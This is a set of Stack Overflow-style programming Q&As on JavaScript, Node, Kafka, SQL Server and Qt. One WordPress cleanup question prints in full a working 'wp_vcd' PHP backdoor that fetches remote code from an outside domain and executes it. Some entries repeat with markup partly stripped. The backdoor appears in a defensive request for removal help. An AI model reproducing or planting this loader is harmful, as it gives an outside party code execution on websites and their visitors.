问:
how to get this json object table filter working
I have a website with a list of json objects arranged something like this:

```<code> [
    {
        "a": true or false,
        "b": "information",
        "c": "information",
        "d": "information",
        "e": "information"
    },
    ...
 ]
</code>```

The idea of this code is to print out all the objects on a table and have a checkbox which filters out the false objects out when needed. The site is supposed to just have the the table with unfiltered object on there, but after I added the checkbox event listener the full table list disappeared. When I check the checkbox I get the filtered objects and it keeps adding more and more of the same filtered content on the bottom of the table if I keep re-clicking it.

What am I doing wrong here? Here is the code I have:

```<code>var stuff = document.getElementById("stuff-info");
var ourRequest = new XMLHttpRequest();
ourRequest.open('GET', 'url');
ourRequest.onload = function() {
    var ourData = JSON.parse(ourRequest.responseText);
    renderHTML(ourData);
};
ourRequest.send();

function renderHTML(data) {
    var htmlString = "";
    var filteredData = data.filter(function(element) {
        return element.a
    });
    var checkbox = document.querySelector("input[name=hide]");

    checkbox.addEventListener('change', function() {
        if (this.checked) {
            for (i = 0; i < filteredData.length; i++) {
                htmlString += "<table><tr><td>" + filteredData[i].b + "</td><td>" + filteredData[i].c + "</td><td>" + filteredData[i].d + "</td><td>" + filteredData[i].e + "</td></tr>"
            }
        } else {
            for (i = 0; i < data.length; i++) {
                htmlString += "<table><tr><td>" + data[i].b + "</td><td>" + data[i].c + "</td><td>" + data[i].d + "</td><td>" + data[i].e + "</td></tr>"
            }
        }
        stuff.insertAdjacentHTML('beforeend', htmlString);
    });
}
</code>```

答:
after I added the checkbox event listener the full table list disappeared.

All of your logic for deciding what to render is trapped inside your onchange event, so nothing will be drawn until a checkbox is changed.

When I check the checkbox I get the filtered objects and it keeps adding more and more of the same filtered.

All of your html strings are generated with += against the original htmlString variable trapped in the closure. So yeah, it will just keep adding more and more rows. You are also inserting the udated strings into the dom without removing the old table(s), so this will be exponential growth.

I think there is a great case here for higher order functions instead of for loops, you can use the map array method to transform each item in the array into a string, instead of manually iterating. This is cleaner and more maintainable.

Notice that now that the rendering logic is not mixed together with the event logic, it would be much easier to reuse the render function with some different data or different events. It's also somewhat trivial to add more transformations or filters.

```<code>const ourRequest = new XMLHttpRequest();
ourRequest.onload = function() {
    const ourData = JSON.parse(ourRequest.responseText);
    initialRender(ourData);
};
ourRequest.open('GET', 'url');
ourRequest.send();

function filterAll() { return true; }
function filterA() { return element.a; }

function toRowString(item) {
  return `
    <tr>
      <td>${item.a}</td>
      <td>${item.b}</td>
      <td>${item.c}</td>
      <td>${item.d}</td>
      <td>${item.e}</td>
    </tr>`;
}

function renderTable(predicate, parentElement, data){
    const rows = data
        .filter(predicate)
        .map(toRowString);

    parentElement.innerHTML = `<table>${rows}</table>`;
}

function initialRender(data) {
    const stuff = document.getElementById("stuff-info");
    const checkbox = document.querySelector("input[name=hide]");

    renderTable(filterAll, stuff, data);

    checkbox.addEventListener('change', function(event) {
        renderTable(
          event.target.checked ? filterA : filterAll,
          stuff,
          data
        );
    }
}
</code>```

Body:
I have a website with a list of json objects arranged something like this:

 [
    {
        "a": true or false,
        "b": "information",
        "c": "information",
        "d": "information",
        "e": "information"
    },
    ...
 ]

The idea of this code is to print out all the objects on a table and have a checkbox which filters out the false objects out when needed. The site is supposed to just have the the table with unfiltered object on there, but after I added the checkbox event listener the full table list disappeared. When I check the checkbox I get the filtered objects and it keeps adding more and more of the same filtered content on the bottom of the table if I keep re-clicking it.

What am I doing wrong here? Here is the code I have:

var stuff = document.getElementById("stuff-info");
var ourRequest = new XMLHttpRequest();
ourRequest.open('GET', 'url');
ourRequest.onload = function() {
    var ourData = JSON.parse(ourRequest.responseText);
    renderHTML(ourData);
};
ourRequest.send();

function renderHTML(data) {
    var htmlString = "";
    var filteredData = data.filter(function(element) {
        return element.a
    });
    var checkbox = document.querySelector("input[name=hide]");

    checkbox.addEventListener('change', function() {
        if (this.checked) {
            for (i = 0; i < filteredData.length; i++) {
                htmlString += "

" + filteredData[i].b + "	" + filteredData[i].c + "	" + filteredData[i].d + "	" + filteredData[i].e + "
"
            }
        } else {
            for (i = 0; i < data.length; i++) {
                htmlString += "

" + data[i].b + "	" + data[i].c + "	" + data[i].d + "	" + data[i].e + "
"
            }
        }
        stuff.insertAdjacentHTML('beforeend', htmlString);
    });
}

Body:
after I added the checkbox event listener the full table list disappeared.

All of your logic for deciding what to render is trapped inside your onchange event, so nothing will be drawn until a checkbox is changed.

When I check the checkbox I get the filtered objects and it keeps adding more and more of the same filtered.

All of your html strings are generated with += against the original htmlString variable trapped in the closure. So yeah, it will just keep adding more and more rows. You are also inserting the udated strings into the dom without removing the old table(s), so this will be exponential growth.

I think there is a great case here for higher order functions instead of for loops, you can use the map array method to transform each item in the array into a string, instead of manually iterating. This is cleaner and more maintainable.

Notice that now that the rendering logic is not mixed together with the event logic, it would be much easier to reuse the render function with some different data or different events. It's also somewhat trivial to add more transformations or filters.

const ourRequest = new XMLHttpRequest();
ourRequest.onload = function() {
    const ourData = JSON.parse(ourRequest.responseText);
    initialRender(ourData);
};
ourRequest.open('GET', 'url');
ourRequest.send();

function filterAll() { return true; }
function filterA() { return element.a; }

function toRowString(item) {
  return `
    <tr>
      <td>${item.a}</td>
      <td>${item.b}</td>
      <td>${item.c}</td>
      <td>${item.d}</td>
      <td>${item.e}</td>
    </tr>`;
}

function renderTable(predicate, parentElement, data){
    const rows = data
        .filter(predicate)
        .map(toRowString);

    parentElement.innerHTML = `<table>${rows}</table>`;
}

function initialRender(data) {
    const stuff = document.getElementById("stuff-info");
    const checkbox = document.querySelector("input[name=hide]");

    renderTable(filterAll, stuff, data);

    checkbox.addEventListener('change', function(event) {
        renderTable(
          event.target.checked ? filterA : filterAll,
          stuff,
          data
        );
    }
}


来源: stackexchange

问:
SailsJS secure authentication
I am building app using SailsJS as backend and angular as frontend. On many websites I have found that auth is done by setting req.session.userID to som value but then in policy it only performs basic check like if(req.session.userID) but I am not sure that this is secure. What if I put some random string to my cookie named userID will system consider this as valid login?

For example my correct userID is ABCDEF but what if some attacker come by and he sets his cookie userID to DEFGH. Will system consider this as valid login? I don't think that there is some background validation against database going on. Wouldn't it be better to create model called Sessions which will store randomly generated session ID and associated userID? Then the system at user login would generate random sessionID which will be stored in DB and in policy system will check if currently set req.session.sessionID is valid.

I am asking this because I don't have very deep understanding of sails but from my point of view solution proposed in documentation doesn't seem secure.

答: I recommend that you take a look at JWT and how it solves some problems. Then another problem will be "how to store this token". And that you can solve with cookies, local storage, etc. all depending on your needs and possibilities. Usually a local storage + middleware in the client side with reddis on the server side (advanced session behavior) is enough.

ContentLicense: CC BY-SA 3.0

Title: SailsJS secure authentication


问:
Spring Kafka: Poll for new messages instead of being notified using `onMessage`
I am using Spring Kafka in my project as it seemed a natural choice in a Spring based project to consume Kafka messages. To consume messages, I can make use of the MessageListener interface. Spring Kafka internally takes care to invoke my onMessage method for each new message.

However, in my setting I prefer to explicitly poll for new messages and work on them sequentially (which will take a few seconds). As a workaround, I might just block inside my onMessage implementation, or buffer the messages internally. However, this seems to go against the core idea of Spring Kafka.

Kafka is designed so that consumers have to poll for new messages, which matches my requirements. Is there a way to make use of this "natural" workflow with Spring Kafka?

Should I refrain from using Spring Kafka for this use case?

The KafkaConsumer documentation states:

For use cases where message processing time varies unpredictably,
  neither of these options may be sufficient. The recommended way to
  handle these cases is to move message processing to another thread,
  which allows the consumer to continue calling poll while the processor
  is still working. Some care must be taken to ensure that committed
  offsets do not get ahead of the actual position. Typically, you must
  disable automatic commits and manually commit processed offsets for
  records only after the thread has finished handling them (depending on
  the delivery semantics you need). Note also that you will need to
  pause the partition so that no new records are received from poll
  until after thread has finished handling those previously returned.

Related issue: https://github.com/spring-projects/spring-kafka/issues/195

答:
The issue with having to keep polling the consumer has now been resolved (in 0.10.1.x by KIP-62) so that's not an issue any more (as long as you don't exceed the max.poll.interval.ms) which is 5 mins by default but can be increased.

However, if you want to poll yourself, you can still use spring-kafka (e.g. to get the Spring Boot auto configuration goodness if you are using Boot), but you can get a Consumer from the DefaultKafkaConsumerFactory and poll() it directly.


问:
unable to get values outside the db Query execution callback
IM new to nodejs, help me understand

unable to get values in categories array as if i print values outside forloop

if i print inside second query its printing the changes

```<code>var sql = 'select * from categories where adp_customers_id = ?  and parent_id = 0 and display_on_screen = 1  and category_type= \'COLLECTION\' ';
mysqlConnection.query(sql,[ adpCustomer ],  function (err,  result) {
if (err) throw err;
var categories = [];  // i think values should be reflected here nut no luck, what im missing
if(result.length > 0){
for(var a =0; a<result.length ; a++){
var subcategories = [];
var currentCategory = 0;
currentCategory = result[a].id;
var name = result[a].name;
var description = result[a].description;
var sql = 'select * from categories where adp_customers_id = ?  and parent_id = ? and display_on_screen = 1  and category_type= \'COLLECTION\'';
    mysqlConnection.query(sql, [adpCustomer, currentCategory],  function (err, subCategoryResult) {
if (err) throw err;
if (subCategoryResult.length > 0) {
for (var a = 0; a < subCategoryResult.length; a++) {
subcategories.push({
"id": subCategoryResult[a].id,
"name": subCategoryResult[a].name,
"description": subCategoryResult[a].description,
});
}
}
categories.push({
"id": currentCategory,
"name": name,
"description": description,
"children": subcategories
});
console.log("categores = "+  JSON.stringify(categories));   // working here
});
}
console.log("categores = "+  JSON.stringify(categories));   // not working here WHY
return res.json(categories);
}
});
</code>```

答:
Because you populate the array in a callback function of your query. The "working" line is within the callback, and the console log happens right after you handled the data. The other is outside, executed before the callback is finished.

You should look into Promises (or callbacks), this will never work this way.

Body:
IM new to nodejs, help me understand

unable to get values in categories array as if i print values outside forloop

if i print inside second query its printing the changes

var sql = 'select * from categories where adp_customers_id = ?  and parent_id = 0 and display_on_screen = 1  and category_type= \'COLLECTION\' ';
mysqlConnection.query(sql,[ adpCustomer ],  function (err,  result) {
if (err) throw err;
var categories = [];  // i think values should be reflected here nut no luck, what im missing
if(result.length > 0){
for(var a =0; a<result.length ; a++){
var subcategories = [];
var currentCategory = 0;
currentCategory = result[a].id;
var name = result[a].name;
var description = result[a].description;
var sql = 'select * from categories where adp_customers_id = ?  and parent_id = ? and display_on_screen = 1  and category_type= \'COLLECTION\'';
    mysqlConnection.query(sql, [adpCustomer, currentCategory],  function (err, subCategoryResult) {
if (err) throw err;
if (subCategoryResult.length > 0) {
for (var a = 0; a < subCategoryResult.length; a++) {
subcategories.push({
"id": subCategoryResult[a].id,
"name": subCategoryResult[a].name,
"description": subCategoryResult[a].description,
});
}
}
categories.push({
"id": currentCategory,
"name": name,
"description": description,
"children": subcategories
});
console.log("categores = "+  JSON.stringify(categories));   // working here
});
}
console.log("categores = "+  JSON.stringify(categories));   // not working here WHY
return res.json(categories);
}
});


问:
Permissions API and PermissionAwareActivity
I try to build a BLE app with expokit. This part of code is throwing me this error: Error: Tried to use permissions API but the host Activity doesn't implement PermissionAwareActivity.
How am i supposed to fix this?

I've tested it in an android device, can't test this on iOS.

```<code>PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.ACCESS_COARSE_LOCATION).then((result) => {
  if (result) {
    console.log("User accept");
  } else {
     console.log("User refuse");
    }
});
</code>```

答: I've found a solution here but If someone has a solution without touching at native code it could be way better. </p>

Body:
I try to build a BLE app with expokit. This part of code is throwing me this error: Error: Tried to use permissions API but the host Activity doesn't implement PermissionAwareActivity.
How am i supposed to fix this?

I've tested it in an android device, can't test this on iOS.

PermissionsAndroid.request(PermissionsAndroid.PERMISSIONS.ACCESS_COARSE_LOCATION).then((result) => {
  if (result) {
    console.log("User accept");
  } else {
     console.log("User refuse");
    }
});


问:
Removing a large string of text / code from multiple files in Linux
It appears mutiple domains on my Linux server have been hacked - I'm not entirely sure how, I can't think like a hacker! but they've managed to hack multiple domains running wordpress.

I've found out they've insereted some site rediction code in my functions.php files at multiple locations.  I have hundereds of these files and it'd take me ages to manually strip out each piece of code.  Is there a quick way of removing the code from all files using a global search/replace?

The offending code is:

```<code><?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
        {
$div_code_name="wp_vcd";
                switch ($_REQUEST['action'])
                        {

                                case 'change_domain';
                                        if (isset($_REQUEST['newdomain']))
                                                {

                                                        if (!empty($_REQUEST['newdomain']))
                                                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                                {
                                                                                if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
                                                                                {

                                                                                $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                @file_put_contents(__FILE__, $file);
                                                                                print "true";
                                                                                }

                                                                                }
                                                                }
                                                }
                                break;

                                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                        }

                die("");
        }

if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}

}
}

?>
</code>```

答:
If a server is hacked, removing the malicious code should not be your major / only concern. There's plenty more information on Information Security and elsewhere, but in a nutshell:

You should first take the server offline (to avoid serving malicious code).

Analyze and fix the security hole that allowed the intrusion.

Regain trust of your server; best by restoring from a good image; at a minimum, by restoring your affected code from a backup.

You don't have a backup and don't know how to secure the box (or spend the money so someone else does it for you)? Some people will argue you have no business of having a public server at all...

To answer your actual question: This is best done with a non-interactive tool such as sed. If the number of added lines is constant and at the same position, static line numbers will do:

```<code>sed -i '2,92d' file.php
</code>```

Body:
It appears mutiple domains on my Linux server have been hacked - I'm not entirely sure how, I can't think like a hacker! but they've managed to hack multiple domains running wordpress.

I've found out they've insereted some site rediction code in my functions.php files at multiple locations.  I have hundereds of these files and it'd take me ages to manually strip out each piece of code.  Is there a quick way of removing the code from all files using a global search/replace?

The offending code is:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
        {
$div_code_name="wp_vcd";
                switch ($_REQUEST['action'])
                        {

                                case 'change_domain';
                                        if (isset($_REQUEST['newdomain']))
                                                {

                                                        if (!empty($_REQUEST['newdomain']))
                                                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                                {
                                                                                if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
                                                                                {

                                                                                $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                @file_put_contents(__FILE__, $file);
                                                                                print "true";
                                                                                }

                                                                                }
                                                                }
                                                }
                                break;

                                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                        }

                die("");
        }

if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}

}
}

?>

Body:
If a server is hacked, removing the malicious code should not be your major / only concern. There's plenty more information on Information Security and elsewhere, but in a nutshell:

You should first take the server offline (to avoid serving malicious code).

Analyze and fix the security hole that allowed the intrusion.

Regain trust of your server; best by restoring from a good image; at a minimum, by restoring your affected code from a backup.

You don't have a backup and don't know how to secure the box (or spend the money so someone else does it for you)? Some people will argue you have no business of having a public server at all...

To answer your actual question: This is best done with a non-interactive tool such as sed. If the number of added lines is constant and at the same position, static line numbers will do:

sed -i '2,92d' file.php


问:
MSSQL Server 2008 - Convert Nvarchar to numeric
im using mssql 2008 and Im permanently failing to convert an nvarchar to numeric values.

Can you please advise? I have different solutions I found over the www, but all of them are failing with the error message:

Msg 8114, Level 16, State 5, Line 15 Error converting data type
  nvarchar to numeric.

I have built an reduced example for demonstration purpose:

```<code>IF OBJECT_ID('tempdb..#temptable', 'U') IS NOT NULL
DROP TABLE dbo.#temptable

create table #temptable(
col1 nvarchar(10),
col2 numeric(10,5)
)
insert into #temptable values ('0,5','0')

select *,convert(numeric(18,2),col1)   from #temptable

 UPDATE #temptable
 SET col2 = CAST(col1 AS numeric(10,5))
 WHERE ISNUMERIC(col1) = 1

SELECT col1
, CASE ISNUMERIC(col1)
WHEN    1 THEN  CONVERT(numeric(18,2),col1)
ELSE 0.00
END

from #temptable
</code>```

答:
I alreay found an strong hint whats going wrong... the issue seems to be related to the , as seperator while the SQL server expects an .

if you change the following line to:

```<code>insert into #temptable values ('0.5','0')
</code>```

its working

Body:
im using mssql 2008 and Im permanently failing to convert an nvarchar to numeric values.

Can you please advise? I have different solutions I found over the www, but all of them are failing with the error message:

Msg 8114, Level 16, State 5, Line 15 Error converting data type
  nvarchar to numeric.

I have built an reduced example for demonstration purpose:

IF OBJECT_ID('tempdb..#temptable', 'U') IS NOT NULL
DROP TABLE dbo.#temptable

create table #temptable(
col1 nvarchar(10),
col2 numeric(10,5)
)
insert into #temptable values ('0,5','0')

select *,convert(numeric(18,2),col1)   from #temptable

 UPDATE #temptable
 SET col2 = CAST(col1 AS numeric(10,5))
 WHERE ISNUMERIC(col1) = 1

SELECT col1
, CASE ISNUMERIC(col1)
WHEN    1 THEN  CONVERT(numeric(18,2),col1)
ELSE 0.00
END

from #temptable

Body:
I alreay found an strong hint whats going wrong... the issue seems to be related to the , as seperator while the SQL server expects an .

if you change the following line to:

insert into #temptable values ('0.5','0')

its working


问:
How to dynamically swap QWidgets
I have a QMainWindow which contains, on the left, a QTreeWidget and, on the right, another QMainWindow with windowFlags set to Qt::Widget.

This is because the QMainWindow is the only way to provide docking functionality to a QWidget. (I want the docked components to be popped out of the "real" window entirely if needed.

My problem is that I want users to be able to keep popped out dock widgets even if their item is not selected on the left.

For example, here is the global layout:

Let's say I select Item 1. On the right I will have some dockable widgets which I am able to reorder as I wish. If I pop one out to keep an eye on it, I don't want it to disappear if I select Item 2.

To go even further, I could want to show ALL Items' dockable widgets at once if I want.

My original idea to achieve this was to make each Item have its dedicated QMainWindow stored inside its data and I would just switch the right one to reflect the currently active one.

Maybe what I want is a bad idea and maybe it's not even feasible.

Could someone with some Qt knowledge tell me if I'm doing/wanting something wrong please?

Edit:

It would be perfectly fine to me if there were a way to trigger the "inner QMainWindow" pop out manually. Like, for example, a button "pop out" in the top right corner which would completely pop it and make it an entirely new window (still linked to the other one, though)

Edit2:

I's like to point out that I haven't tried anything regarding this question yet. I am essentially wondering if it fits with Qt's way of doing things.

This question made me happy about being able to provide docking capabilities to only a part of the program but I still aren't sure about what I want. Can I really achieve this?

Edit7, MVCE:

Hopefully I didn't forget anything since this is done by modifying my files.

mainwindow2.cpp

```<code>#include "mainwindow2.hh"
#include "ui_mainwindow2.h"
#include <QTreeWidgetItem>

MainWindow2::MainWindow2(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow2)
{
    ui->setupUi(this);
    ui->mainPanel->setWindowFlags(Qt::Widget);
    QTreeWidgetItem* item = new QTreeWidgetItem;
    item->setData(0, 0, QVariant::fromValue(QString("Item 1")));
    ui->accountsTreeWidget->addTopLevelItem(item);
    QTreeWidgetItem* item2 = new QTreeWidgetItem;
    item2->setData(0, 0, QVariant::fromValue(QString("Item 2")));
    ui->accountsTreeWidget->addTopLevelItem(item2);
}

MainWindow2::~MainWindow2()
{
    delete ui;
}
</code>```

mainwindow2.hh

```<code>#ifndef MAINWINDOW2_HH
#define MAINWINDOW2_HH

#include <QMainWindow>

namespace Ui {
class MainWindow2;
}

class MainWindow2 : public QMainWindow
{
    Q_OBJECT

public:
    explicit MainWindow2(QWidget *parent = 0);
    ~MainWindow2();

private:
    Ui::MainWindow2 *ui;
};

#endif // MAINWINDOW2_HH
</code>```

mainwindow2.ui

```<code><?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
 <class>MainWindow2</class>
 <widget class="QMainWindow" name="MainWindow2">
  <property name="geometry">
   <rect>
    <x>0</x>
    <y>0</y>
    <width>1200</width>
    <height>700</height>
   </rect>
  </property>
  <property name="minimumSize">
   <size>
    <width>1200</width>
    <height>700</height>
   </size>
  </property>
  <property name="windowTitle">
   <string>Main Window</string>
  </property>
  <widget class="QWidget" name="centralWidget">
   <property name="minimumSize">
    <size>
     <width>1200</width>
     <height>658</height>
    </size>
   </property>
   <layout class="QGridLayout" name="gridLayout">
    <item row="0" column="1" rowspan="2" colspan="2">
     <widget class="QMainWindow" name="mainPanel"/>
    </item>
    <item row="0" column="0">
     <widget class="QTreeWidget" name="accountsTreeWidget">
      <property name="minimumSize">
       <size>
        <width>200</width>
        <height>0</height>
       </size>
      </property>
      <property name="maximumSize">
       <size>
        <width>300</width>
        <height>16777215</height>
       </size>
      </property>
      <property name="frameShape">
       <enum>QFrame::NoFrame</enum>
      </property>
      <property name="selectionBehavior">
       <enum>QAbstractItemView::SelectItems</enum>
      </property>
      <property name="uniformRowHeights">
       <bool>true</bool>
      </property>
      <attribute name="headerVisible">
       <bool>false</bool>
      </attribute>
      <column>
       <property name="text">
        <string notr="true">1</string>
       </property>
      </column>
     </widget>
    </item>
   </layout>
  </widget>
 </widget>
 <layoutdefault spacing="6" margin="11"/>
 <connections/>
</ui>
</code>```

main.cpp

```<code>#include "mainwindow2.hh"
#include <QApplication>
#include <QStyleFactory>

int main(int argc, char *argv[])
{
    QApplication app(argc, argv);
    app.setStyle(QStyleFactory::create("Fusion"));

    MainWindow2 w;
    w.show();

    return app.exec();
}
</code>```

project.pro

```<code>#-------------------------------------------------
#
# Project created by QtCreator 2017-11-12T23:07:49
#
#-------------------------------------------------

QT       += core gui

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

TARGET = project
TEMPLATE = app

DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

INCLUDEPATH += $$PWD

SOURCES += \
        main.cpp \
        mainwindow2.cpp

HEADERS += \
        mainwindow2.hh

FORMS += \
        mainwindow2.ui
</code>```

答:
In the right side, you could add a parent widget, with a QBoxLayout, attach all the items to it, and just hide, show and sort them as you wish.

Make them a custom class, with a public int variable to let you identify them later on. Store their pointers in a QList, and then just loop the list and hide or show items by your criteria ( Using the int variable ).

Example:

Items form category A -> int value 0

Items form category B -> int value 1

etc...

Title: How to dynamically swap QWidgets

Body:
I have a QMainWindow which contains, on the left, a QTreeWidget and, on the right, another QMainWindow with windowFlags set to Qt::Widget.

This is because the QMainWindow is the only way to provide docking functionality to a QWidget. (I want the docked components to be popped out of the "real" window entirely if needed.

My problem is that I want users to be able to keep popped out dock widgets even if their item is not selected on the left.

For example, here is the global layout:

Let's say I select Item 1. On the right I will have some dockable widgets which I am able to reorder as I wish. If I pop one out to keep an eye on it, I don't want it to disappear if I select Item 2.

To go even further, I could want to show ALL Items' dockable widgets at once if I want.

My original idea to achieve this was to make each Item have its dedicated QMainWindow stored inside its data and I would just switch the right one to reflect the currently active one.

Maybe what I want is a bad idea and maybe it's not even feasible.

Could someone with some Qt knowledge tell me if I'm doing/wanting something wrong please?

Edit:

It would be perfectly fine to me if there were a way to trigger the "inner QMainWindow" pop out manually. Like, for example, a button "pop out" in the top right corner which would completely pop it and make it an entirely new window (still linked to the other one, though)

Edit2:

I's like to point out that I haven't tried anything regarding this question yet. I am essentially wondering if it fits with Qt's way of doing things.

This question made me happy about being able to provide docking capabilities to only a part of the program but I still aren't sure about what I want. Can I really achieve this?

Edit7, MVCE:

Hopefully I didn't forget anything since this is done by modifying my files.

mainwindow2.cpp

#include "mainwindow2.hh"
#include "ui_mainwindow2.h"
#include <QTreeWidgetItem>

MainWindow2::MainWindow2(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow2)
{
    ui->setupUi(this);
    ui->mainPanel->setWindowFlags(Qt::Widget);
    QTreeWidgetItem* item = new QTreeWidgetItem;
    item->setData(0, 0, QVariant::fromValue(QString("Item 1")));
    ui->accountsTreeWidget->addTopLevelItem(item);
    QTreeWidgetItem* item2 = new QTreeWidgetItem;
    item2->setData(0, 0, QVariant::fromValue(QString("Item 2")));
    ui->accountsTreeWidget->addTopLevelItem(item2);
}

MainWindow2::~MainWindow2()
{
    delete ui;
}

mainwindow2.hh

#ifndef MAINWINDOW2_HH
#define MAINWINDOW2_HH

#include <QMainWindow>

namespace Ui {
class MainWindow2;
}

class MainWindow2 : public QMainWindow
{
    Q_OBJECT

public:
    explicit MainWindow2(QWidget *parent = 0);
    ~MainWindow2();

private:
    Ui::MainWindow2 *ui;
};

#endif // MAINWINDOW2_HH

mainwindow2.ui

<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
 <class>MainWindow2</class>
 <widget class="QMainWindow" name="MainWindow2">
  <property name="geometry">
   <rect>
    <x>0</x>
    <y>0</y>
    <width>1200</width>
    <height>700</height>
   </rect>
  </property>
  <property name="minimumSize">
   <size>
    <width>1200</width>
    <height>700</height>
   </size>
  </property>
  <property name="windowTitle">
   <string>Main Window</string>
  </property>
  <widget class="QWidget" name="centralWidget">
   <property name="minimumSize">
    <size>
     <width>1200</width>
     <height>658</height>
    </size>
   </property>
   <layout class="QGridLayout" name="gridLayout">
    <item row="0" column="1" rowspan="2" colspan="2">
     <widget class="QMainWindow" name="mainPanel"/>
    </item>
    <item row="0" column="0">
     <widget class="QTreeWidget" name="accountsTreeWidget">
      <property name="minimumSize">
       <size>
        <width>200</width>
        <height>0</height>
       </size>
      </property>
      <property name="maximumSize">
       <size>
        <width>300</width>
        <height>16777215</height>
       </size>
      </property>
      <property name="frameShape">
       <enum>QFrame::NoFrame</enum>
      </property>
      <property name="selectionBehavior">
       <enum>QAbstractItemView::SelectItems</enum>
      </property>
      <property name="uniformRowHeights">
       <bool>true</bool>
      </property>
      <attribute name="headerVisible">
       <bool>false</bool>
      </attribute>
      <column>
       <property name="text">
        <string notr="true">1</string>
       </property>
      </column>
     </widget>
    </item>
   </layout>
  </widget>
 </widget>
 <layoutdefault spacing="6" margin="11"/>
 <connections/>
</ui>

main.cpp

#include "mainwindow2.hh"
#include <QApplication>
#include <QStyleFactory>

int main(int argc, char *argv[])
{
    QApplication app(argc, argv);
    app.setStyle(QStyleFactory::create("Fusion"));

    MainWindow2 w;
    w.show();

    return app.exec();
}

project.pro

#-------------------------------------------------
#
# Project created by QtCreator 2017-11-12T23:07:49
#
#-------------------------------------------------

QT       += core gui

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

TARGET = project
TEMPLATE = app

DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

INCLUDEPATH += $$PWD

SOURCES += \
        main.cpp \
        mainwindow2.cpp

HEADERS += \
        mainwindow2.hh

FORMS += \
        mainwindow2.ui


问:
How to make a nested ordered list from array data
I have data like this:

```<code>var array = ["a", "b", "c", "d", "e"];
</code>```

I want this data converted like this:

```<code><ol>
 <li>a</li>
   <ol>
    <li>b</li>
     <ol>
      <li>c</li>
       <ol>
        <li>d</li>
       </ol>
     </ol>
  </ol>
</code>```

I will try this:

```<code>var makeNestedList = () => {
  $.each(array, function(i, el) {
    nested += '<ol>';
    nested += '<li>' + el + '</li>';
    makeNestedList();
    nested += '</ol>';
  });
};
</code>```

But why is the result empty?

答:
You could use Array#reduceRight and create the most nested node first and then the outer ones.

var array = ["a", "b", "c", "d", "e"],
    result = array.reduceRight(function (r, a) {
        return '

' + a + r + '

';
    }, '');

document.body.innerHTML += result;
console.log(result);```
</div>
</div>
</p>

<p>From the outside to inside with nodes.</p>

<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var array = ["a", "b", "c", "d", "e"];

array.reduce(function (node, item) {
    var ol = document.createElement('ol'),
        li = document.createElement('li');

    li.appendChild(document.createTextNode(item));
    ol.appendChild(li);
    node.appendChild(ol);
    return li;
}, document.body);</code>```

Body:
I have data like this:

var array = ["a", "b", "c", "d", "e"];

I want this data converted like this:

a

b

c

d

